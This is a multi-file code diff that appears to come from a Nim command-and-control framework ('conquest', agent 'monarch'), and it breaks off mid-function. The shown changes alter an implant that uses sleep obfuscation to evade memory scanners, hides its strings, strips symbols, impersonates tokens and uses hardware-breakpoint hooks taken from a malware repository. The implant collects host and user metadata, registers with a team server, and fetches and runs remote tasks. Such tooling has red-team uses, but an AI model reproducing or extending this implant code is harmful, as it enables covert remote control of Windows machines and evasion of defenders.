apis.impersonate(hToken)
|
||||||
|
|
||||||
|
return apis.getTokenUser(hToken).username
|
||||||
@@ -1,56 +1,69 @@
|
|||||||
import strformat, os, times, system, base64
|
import times, system, random, strformat
|
||||||
|
import core/[http, context, sleepmask, exit]
|
||||||
import core/[http, context, sleepmask]
|
import utils/io
|
||||||
import protocol/[task, result, heartbeat, registration]
|
import protocol/[task, result, heartbeat, registration]
|
||||||
import ../common/[types, utils, crypto]
|
import ../common/[types, utils, crypto]
|
||||||
|
|
||||||
proc main() =
|
proc main() =
|
||||||
|
randomize()
|
||||||
|
|
||||||
# Initialize agent context
|
# Initialize agent context
|
||||||
var ctx = AgentCtx.init()
|
var ctx = AgentCtx.init()
|
||||||
if ctx == nil:
|
if ctx == nil:
|
||||||
quit(0)
|
quit(0)
|
||||||
|
|
||||||
# Create registration payload
|
|
||||||
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
|
|
||||||
let registrationBytes = ctx.serializeRegistrationData(registration)
|
|
||||||
|
|
||||||
if not ctx.httpPost(registrationBytes):
|
|
||||||
echo "[-] Agent registration failed."
|
|
||||||
quit(0)
|
|
||||||
echo fmt"[+] [{ctx.agentId}] Agent registered."
|
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Agent routine:
|
Agent routine:
|
||||||
1. Sleep Obfuscation
|
1. Sleep obfuscation
|
||||||
2. Retrieve task from /tasks endpoint
|
2. Check kill date
|
||||||
3. Execute task and post result to /results
|
3. Register to the team server if not already connected
|
||||||
4. If additional tasks have been fetched, go to 2.
|
4. Retrieve tasks via checkin request to a GET endpoint
|
||||||
5. If no more tasks need to be executed, go to 1.
|
5. Execute task and post result
|
||||||
|
6. If additional tasks have been fetched, go to 3.
|
||||||
|
7. If no more tasks need to be executed, go to 1.
|
||||||
]#
|
]#
|
||||||
while true:
|
while true:
|
||||||
# Sleep obfuscation to evade memory scanners
|
|
||||||
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)
|
|
||||||
|
|
||||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
|
||||||
echo "\n", fmt"[*] [{date}] Checking in."
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
# Sleep obfuscation to evade memory scanners
|
||||||
|
sleepObfuscate(ctx.sleepSettings)
|
||||||
|
|
||||||
|
# Check kill date and exit the agent process if it is reached
|
||||||
|
if ctx.killDate != 0 and now().toTime().toUnix().int64 >= ctx.killDate:
|
||||||
|
print "[*] Reached kill date: ", ctx.killDate.fromUnix().utc().format("dd-MM-yyyy HH:mm:ss"), " (UTC)."
|
||||||
|
print "[*] Exiting."
|
||||||
|
exit()
|
||||||
|
|
||||||
|
# Register
|
||||||
|
if not ctx.registered:
|
||||||
|
# Create registration payload
|
||||||
|
var registration: Registration = ctx.collectAgentMetadata()
|
||||||
|
let registrationBytes = ctx.serializeRegistrationData(registration)
|
||||||
|
|
||||||
|
if ctx.httpPost(registrationBytes):
|
||||||
|
print fmt"[+] [{ctx.agentId}] Agent registered."
|
||||||
|
ctx.registered = true
|
||||||
|
else:
|
||||||
|
print "[-] Agent registration failed."
|
||||||
|
continue
|
||||||
|
|
||||||
|
let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
|
||||||
|
print "\n", fmt"[*] [{date}] Checking in."
|
||||||
|
|
||||||
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
|
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
|
||||||
# The check-in request contains the agentId, listenerId, so the server knows which tasks to return
|
# The check-in request contains the agentId and listenerId, so the server knows which tasks to return
|
||||||
var heartbeat: Heartbeat = ctx.createHeartbeat()
|
var heartbeat: Heartbeat = ctx.createHeartbeat()
|
||||||
let
|
let
|
||||||
heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat)
|
heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat)
|
||||||
packet: string = ctx.httpGet(heartbeatBytes)
|
packet: string = ctx.httpGet(heartbeatBytes)
|
||||||
|
|
||||||
if packet.len <= 0:
|
if packet.len <= 0:
|
||||||
echo "[*] No tasks to execute."
|
print "[*] No tasks to execute."
|
||||||
continue
|
continue
|
||||||
|
|
||||||
let tasks: seq[Task] = ctx.deserializePacket(packet)
|
let tasks: seq[Task] = ctx.deserializePacket(packet)
|
||||||
|
|
||||||
if tasks.len <= 0:
|
if tasks.len <= 0:
|
||||||
echo "[*] No tasks to execute."
|
print "[*] No tasks to execute."
|
||||||
continue
|
continue
|
||||||
|
|
||||||
# Execute all retrieved tasks and return their output to the server
|
# Execute all retrieved tasks and return their output to the server
|
||||||
@@ -61,7 +74,7 @@ proc main() =
|
|||||||
ctx.httpPost(resultBytes)
|
ctx.httpPost(resultBytes)
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
echo "[-] ", err.msg
|
print "[-] ", err.msg
|
||||||
|
|
||||||
when isMainModule:
|
when isMainModule:
|
||||||
main()
|
main()
|
||||||
@@ -3,6 +3,7 @@
|
|||||||
-d:release
|
-d:release
|
||||||
--opt:size
|
--opt:size
|
||||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||||
-d:MODULES="12"
|
-d:MODULES="511"
|
||||||
|
-d:VERBOSE="true"
|
||||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
import times, zippy
|
import times, zippy
|
||||||
import ../../common/[types, serialize, sequence, utils, crypto]
|
import ../../common/[types, serialize, utils, crypto]
|
||||||
|
|
||||||
proc createHeartbeat*(ctx: AgentCtx): Heartbeat =
|
proc createHeartbeat*(ctx: AgentCtx): Heartbeat =
|
||||||
return Heartbeat(
|
return Heartbeat(
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import winim, os, net, strformat, strutils, registry, zippy
|
import winim, os, net, strutils, registry, zippy
|
||||||
|
|
||||||
import ../../common/[types, serialize, sequence, crypto, utils]
|
import ../../common/[types, serialize, sequence, crypto, utils]
|
||||||
import ../../modules/manager
|
import ../../modules/manager
|
||||||
@@ -20,7 +20,7 @@ proc getDomain(): string =
|
|||||||
dwSize = DWORD buffer.len
|
dwSize = DWORD buffer.len
|
||||||
|
|
||||||
GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
|
GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
|
||||||
return $buffer[ 0 ..< int(dwSize)]
|
return $buffer[0 ..< int(dwSize)]
|
||||||
|
|
||||||
# Username
|
# Username
|
||||||
proc getUsername(): string =
|
proc getUsername(): string =
|
||||||
@@ -33,11 +33,12 @@ proc getUsername(): string =
|
|||||||
if getDomain() != "":
|
if getDomain() != "":
|
||||||
# If domain-joined, return username in format DOMAIN\USERNAME
|
# If domain-joined, return username in format DOMAIN\USERNAME
|
||||||
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
|
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
|
||||||
|
return $buffer[0 ..< int(dwSize)]
|
||||||
else:
|
else:
|
||||||
# If not domain-joined, only return USERNAME
|
# If not domain-joined, only return USERNAME
|
||||||
discard GetUsernameW(&buffer, &dwSize)
|
discard GetUsernameW(&buffer, &dwSize)
|
||||||
|
return $buffer[0 ..< int(dwSize) - 1]
|
||||||
|
|
||||||
return $buffer[0 ..< int(dwSize) - 1]
|
|
||||||
|
|
||||||
# Current process name
|
# Current process name
|
||||||
proc getProcessExe(): string =
|
proc getProcessExe(): string =
|
||||||
@@ -50,7 +51,7 @@ proc getProcessExe(): string =
|
|||||||
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
|
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
|
||||||
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
|
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
|
||||||
# We replace trailing NULL bytes to prevent them from being sent as JSON data
|
# We replace trailing NULL bytes to prevent them from being sent as JSON data
|
||||||
return string($buffer).extractFilename().replace("\u0000", "")
|
return ($buffer).extractFilename().replace("\u0000", "")
|
||||||
finally:
|
finally:
|
||||||
CloseHandle(hProcess)
|
CloseHandle(hProcess)
|
||||||
|
|
||||||
@@ -164,11 +165,11 @@ proc getProductType(): ProductType =
|
|||||||
|
|
||||||
# Using the 'registry' module, we can get the exact registry value
|
# Using the 'registry' module, we can get the exact registry value
|
||||||
case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE)
|
case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE)
|
||||||
of "WinNT":
|
of protect("WinNT"):
|
||||||
return WORKSTATION
|
return WORKSTATION
|
||||||
of "ServerNT":
|
of protect("ServerNT"):
|
||||||
return SERVER
|
return SERVER
|
||||||
of "LanmanNT":
|
of protect("LanmanNT"):
|
||||||
return DC
|
return DC
|
||||||
|
|
||||||
proc getOSVersion(): string =
|
proc getOSVersion(): string =
|
||||||
@@ -193,9 +194,9 @@ proc getOSVersion(): string =
|
|||||||
else:
|
else:
|
||||||
return protect("Unknown")
|
return protect("Unknown")
|
||||||
|
|
||||||
proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
|
proc collectAgentMetadata*(ctx: AgentCtx): Registration =
|
||||||
|
|
||||||
return AgentRegistrationData(
|
return Registration(
|
||||||
header: Header(
|
header: Header(
|
||||||
magic: MAGIC,
|
magic: MAGIC,
|
||||||
version: VERSION,
|
version: VERSION,
|
||||||
@@ -218,12 +219,13 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
|
|||||||
process: string.toBytes(getProcessExe()),
|
process: string.toBytes(getProcessExe()),
|
||||||
pid: cast[uint32](getProcessId()),
|
pid: cast[uint32](getProcessId()),
|
||||||
isElevated: cast[uint8](isElevated()),
|
isElevated: cast[uint8](isElevated()),
|
||||||
sleep: cast[uint32](ctx.sleep),
|
sleep: cast[uint32](ctx.sleepSettings.sleepDelay),
|
||||||
|
jitter: cast[uint32](ctx.sleepSettings.jitter),
|
||||||
modules: cast[uint32](MODULES)
|
modules: cast[uint32](MODULES)
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData): seq[byte] =
|
proc serializeRegistrationData*(ctx: AgentCtx, data: var Registration): seq[byte] =
|
||||||
|
|
||||||
var packer = Packer.init()
|
var packer = Packer.init()
|
||||||
|
|
||||||
@@ -239,6 +241,7 @@ proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData):
|
|||||||
.add(data.metadata.pid)
|
.add(data.metadata.pid)
|
||||||
.add(data.metadata.isElevated)
|
.add(data.metadata.isElevated)
|
||||||
.add(data.metadata.sleep)
|
.add(data.metadata.sleep)
|
||||||
|
.add(data.metadata.jitter)
|
||||||
.add(data.metadata.modules)
|
.add(data.metadata.modules)
|
||||||
|
|
||||||
let metadata = packer.pack()
|
let metadata = packer.pack()
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
import strutils, tables, json, strformat, zippy
|
import zippy, strformat
|
||||||
|
|
||||||
import ./result
|
import ./result
|
||||||
|
import ../utils/io
|
||||||
import ../../modules/manager
|
import ../../modules/manager
|
||||||
import ../../common/[types, serialize, sequence, crypto, utils]
|
import ../../common/[types, serialize, sequence, crypto, utils]
|
||||||
|
|
||||||
@@ -61,7 +61,7 @@ proc deserializePacket*(ctx: AgentCtx, packet: string): seq[Task] =
|
|||||||
var unpacker = Unpacker.init(packet)
|
var unpacker = Unpacker.init(packet)
|
||||||
|
|
||||||
var taskCount = unpacker.getUint8()
|
var taskCount = unpacker.getUint8()
|
||||||
echo fmt"[*] Response contained {taskCount} tasks."
|
print fmt"[*] Response contained {taskCount} tasks."
|
||||||
if taskCount <= 0:
|
if taskCount <= 0:
|
||||||
return @[]
|
return @[]
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
import winim/lean
|
import winim/lean
|
||||||
import ../../common/utils
|
import ./io
|
||||||
|
|
||||||
# From: https://github.com/m4ul3r/malware/blob/main/nim/hardware_breakpoints/hardwarebreakpoints.nim
|
# From: https://github.com/m4ul3r/malware/blob/main/nim/hardware_breakpoints/hardwarebreakpoints.nim
|
||||||
|
|
||||||
@@ -33,8 +33,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool
|
|||||||
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
|
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
|
||||||
|
|
||||||
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||||
echo protect("[!] GetThreadContext Failed: "), GetLastError()
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
return false
|
|
||||||
|
|
||||||
case drx:
|
case drx:
|
||||||
of Dr0:
|
of Dr0:
|
||||||
@@ -59,8 +58,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool
|
|||||||
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1)
|
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1)
|
||||||
|
|
||||||
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||||
echo protect("[!] SetThreadContext Failed: "), GetLastError()
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
return false
|
|
||||||
|
|
||||||
return true
|
return true
|
||||||
|
|
||||||
@@ -69,8 +67,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool =
|
|||||||
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
|
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
|
||||||
|
|
||||||
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||||
echo protect("[!] GetThreadContext Failed: "), GetLastError()
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
return false
|
|
||||||
|
|
||||||
# Remove the address of the hooked function from the thread context
|
# Remove the address of the hooked function from the thread context
|
||||||
case drx:
|
case drx:
|
||||||
@@ -87,8 +84,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool =
|
|||||||
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0)
|
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0)
|
||||||
|
|
||||||
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||||
echo protect("[!] SetThreadContext Failed"), GetLastError()
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
return false
|
|
||||||
|
|
||||||
return true
|
return true
|
||||||
|
|
||||||
@@ -196,7 +192,7 @@ proc initializeHardwareBPVariables*(): bool =
|
|||||||
# Add 'VectorHandler' as the VEH
|
# Add 'VectorHandler' as the VEH
|
||||||
g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler))
|
g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler))
|
||||||
if cast[int](g_VectorHandler) == 0:
|
if cast[int](g_VectorHandler) == 0:
|
||||||
echo protect("[!] AddVectoredExceptionHandler Failed")
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
return false
|
return false
|
||||||
|
|
||||||
if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0:
|
if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0:
|
||||||
31
src/agent/utils/io.nim
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
import winim/lean
|
||||||
|
import macros
|
||||||
|
import strutils, strformat
|
||||||
|
import ../../common/utils
|
||||||
|
|
||||||
|
const VERBOSE* {.booldefine.} = false
|
||||||
|
|
||||||
|
type
|
||||||
|
RtlNtStatusToDosError = proc(status: NTSTATUS): DWORD {.stdcall.}
|
||||||
|
|
||||||
|
# Only print to console when VERBOSE mode is enabled
|
||||||
|
template print*(args: varargs[untyped]): untyped =
|
||||||
|
when defined(VERBOSE) and VERBOSE == true:
|
||||||
|
echo args
|
||||||
|
else:
|
||||||
|
discard
|
||||||
|
|
||||||
|
# Convert Windows API error to readable value
|
||||||
|
# https://learn.microsoft.com/de-de/windows/win32/api/winbase/nf-winbase-formatmessage
|
||||||
|
proc getError*(errorCode: DWORD): string =
|
||||||
|
var msg = newWString(512)
|
||||||
|
FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_IGNORE_INSERTS, NULL, errorCode, cast[DWORD](MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT)), msg, cast[DWORD](msg.len()), NULL)
|
||||||
|
msg.nullTerminate()
|
||||||
|
return strip($msg) & fmt" ({$errorCode})"
|
||||||
|
|
||||||
|
# Convert NTSTATUS to readable value
|
||||||
|
# https://ntdoc.m417z.com/rtlntstatustodoserror
|
||||||
|
proc getNtError*(status: NTSTATUS): string =
|
||||||
|
let pRtlNtStatusToDosError = cast[RtlNtStatusToDosError](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("RtlNtStatusToDosError")))
|
||||||
|
let errorCode = pRtlNtStatusToDosError(status)
|
||||||
|
return getError(errorCode)
|
||||||
@@ -3,6 +3,7 @@ switch "o", "bin/client"
|
|||||||
switch "d", "ssl"
|
switch "d", "ssl"
|
||||||
switch "d", "client"
|
switch "d", "client"
|
||||||
switch "d", "ImGuiTextSelect"
|
switch "d", "ImGuiTextSelect"
|
||||||
|
switch "d", "ImPlotEnable"
|
||||||
|
|
||||||
# Select compiler
|
# Select compiler
|
||||||
var TC = "gcc"
|
var TC = "gcc"
|
||||||
@@ -14,7 +15,7 @@ switch "app", "gui"
|
|||||||
# Select static link or shared/dll link
|
# Select static link or shared/dll link
|
||||||
when defined(windows):
|
when defined(windows):
|
||||||
const STATIC_LINK_GLFW = false
|
const STATIC_LINK_GLFW = false
|
||||||
const STATIC_LINK_CC = true #libstd++ or libc
|
const STATIC_LINK_CC = false #libstd++ or libc
|
||||||
if TC == "vcc":
|
if TC == "vcc":
|
||||||
switch "passL","d3d9.lib kernel32.lib user32.lib gdi32.lib winspool.lib"
|
switch "passL","d3d9.lib kernel32.lib user32.lib gdi32.lib winspool.lib"
|
||||||
switch "passL","comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib"
|
switch "passL","comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib"
|
||||||
@@ -28,6 +29,18 @@ else: # for Linux
|
|||||||
|
|
||||||
when STATIC_LINK_GLFW: # GLFW static link
|
when STATIC_LINK_GLFW: # GLFW static link
|
||||||
switch "define","glfwStaticLib"
|
switch "define","glfwStaticLib"
|
||||||
|
when defined(windows):
|
||||||
|
discard # Windows-specific handling if needed
|
||||||
|
else: # Linux
|
||||||
|
switch "passL","-lglfw"
|
||||||
|
switch "passL","-lX11"
|
||||||
|
switch "passL","-lXrandr"
|
||||||
|
switch "passL","-lXinerama"
|
||||||
|
switch "passL","-lXcursor"
|
||||||
|
switch "passL","-lXi"
|
||||||
|
switch "passL","-lpthread"
|
||||||
|
switch "passL","-ldl"
|
||||||
|
switch "passL","-lm"
|
||||||
else: # shared/dll
|
else: # shared/dll
|
||||||
when defined(windows):
|
when defined(windows):
|
||||||
if TC == "vcc":
|
if TC == "vcc":
|
||||||
@@ -38,6 +51,8 @@ else: # shared/dll
|
|||||||
#switch "define","cimguiDLL"
|
#switch "define","cimguiDLL"
|
||||||
else:
|
else:
|
||||||
switch "passL","-lglfw"
|
switch "passL","-lglfw"
|
||||||
|
# Add X11 libs for shared linking too
|
||||||
|
switch "passL","-lX11"
|
||||||
|
|
||||||
when STATIC_LINK_CC: # gcc static link
|
when STATIC_LINK_CC: # gcc static link
|
||||||
case TC
|
case TC
|
||||||
@@ -74,4 +89,5 @@ case TC
|
|||||||
of "clang":
|
of "clang":
|
||||||
switch "cc.exe","clang"
|
switch "cc.exe","clang"
|
||||||
switch "cc.linkerexe","clang"
|
switch "cc.linkerexe","clang"
|
||||||
switch "cc",TC
|
switch "cc",TC
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
import std/paths
|
import std/paths
|
||||||
import strutils, sequtils, times, tables
|
import strutils, sequtils, times
|
||||||
import ../common/[types, sequence, crypto, utils, serialize]
|
import ../../common/[types, sequence, crypto, utils, serialize]
|
||||||
|
|
||||||
proc parseInput*(input: string): seq[string] =
|
proc parseInput*(input: string): seq[string] =
|
||||||
var i = 0
|
var i = 0
|
||||||
@@ -1,6 +1,5 @@
|
|||||||
import whisky
|
import times, json, base64
|
||||||
import times, tables, json, base64
|
import ../../common/[types, utils, event]
|
||||||
import ../common/[types, utils, serialize, event]
|
|
||||||
export sendHeartbeat, recvEvent
|
export sendHeartbeat, recvEvent
|
||||||
|
|
||||||
#[
|
#[
|
||||||
@@ -38,23 +37,49 @@ proc sendAgentBuild*(connection: WsConnection, buildInformation: AgentBuildInfor
|
|||||||
let event = Event(
|
let event = Event(
|
||||||
eventType: CLIENT_AGENT_BUILD,
|
eventType: CLIENT_AGENT_BUILD,
|
||||||
timestamp: now().toTime().toUnix(),
|
timestamp: now().toTime().toUnix(),
|
||||||
data: %*{
|
data: %buildInformation
|
||||||
"listenerId": buildInformation.listenerId,
|
|
||||||
"sleepDelay": buildInformation.sleepDelay,
|
|
||||||
"sleepTechnique": cast[uint8](buildInformation.sleepTechnique),
|
|
||||||
"spoofStack": buildInformation.spoofStack,
|
|
||||||
"modules": buildInformation.modules
|
|
||||||
}
|
|
||||||
)
|
)
|
||||||
connection.ws.sendEvent(event, connection.sessionKey)
|
connection.ws.sendEvent(event, connection.sessionKey)
|
||||||
|
|
||||||
proc sendAgentTask*(connection: WsConnection, agentId: string, task: Task) =
|
proc sendAgentTask*(connection: WsConnection, agentId: string, command: string, task: Task) =
|
||||||
let event = Event(
|
let event = Event(
|
||||||
eventType: CLIENT_AGENT_TASK,
|
eventType: CLIENT_AGENT_TASK,
|
||||||
timestamp: now().toTime().toUnix(),
|
timestamp: now().toTime().toUnix(),
|
||||||
data: %*{
|
data: %*{
|
||||||
"agentId": agentId,
|
"agentId": agentId,
|
||||||
|
"command": command,
|
||||||
"task": task
|
"task": task
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
connection.ws.sendEvent(event, connection.sessionKey)
|
connection.ws.sendEvent(event, connection.sessionKey)
|
||||||
|
|
||||||
|
proc sendAgentRemove*(connection: WsConnection, agentId: string) =
|
||||||
|
let event = Event(
|
||||||
|
